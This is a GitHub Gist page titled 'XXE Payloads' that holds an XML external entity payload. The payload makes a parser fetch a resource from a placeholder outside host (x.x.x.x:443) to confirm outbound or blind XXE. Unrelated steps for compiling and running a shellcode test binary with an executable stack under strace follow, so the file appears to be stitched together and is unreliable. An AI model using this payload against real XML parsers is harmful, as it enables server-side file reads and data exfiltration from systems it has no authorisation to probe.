Skip to content

Instantly share code, notes, and snippets.

View vilkoz's full-sized avatar

Vitalii Rybalko vilkoz

  • WePlay Esports
  • Kyiv, Ukraine
View GitHub Profile
@vilkoz
vilkoz / XXE_payloads
Created June 30, 2017 13:04 — forked from waywardsun/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
to run this:
1. Compile
gcc shell_code_test.c -o shell_code_test
2. Mark binary as requiring executable stack (if you do not have execstack - sudo apt-get install prelink)
execstack -s shell_code_test
3. Run with strace (to see syscalls)
strace ./shell_code_test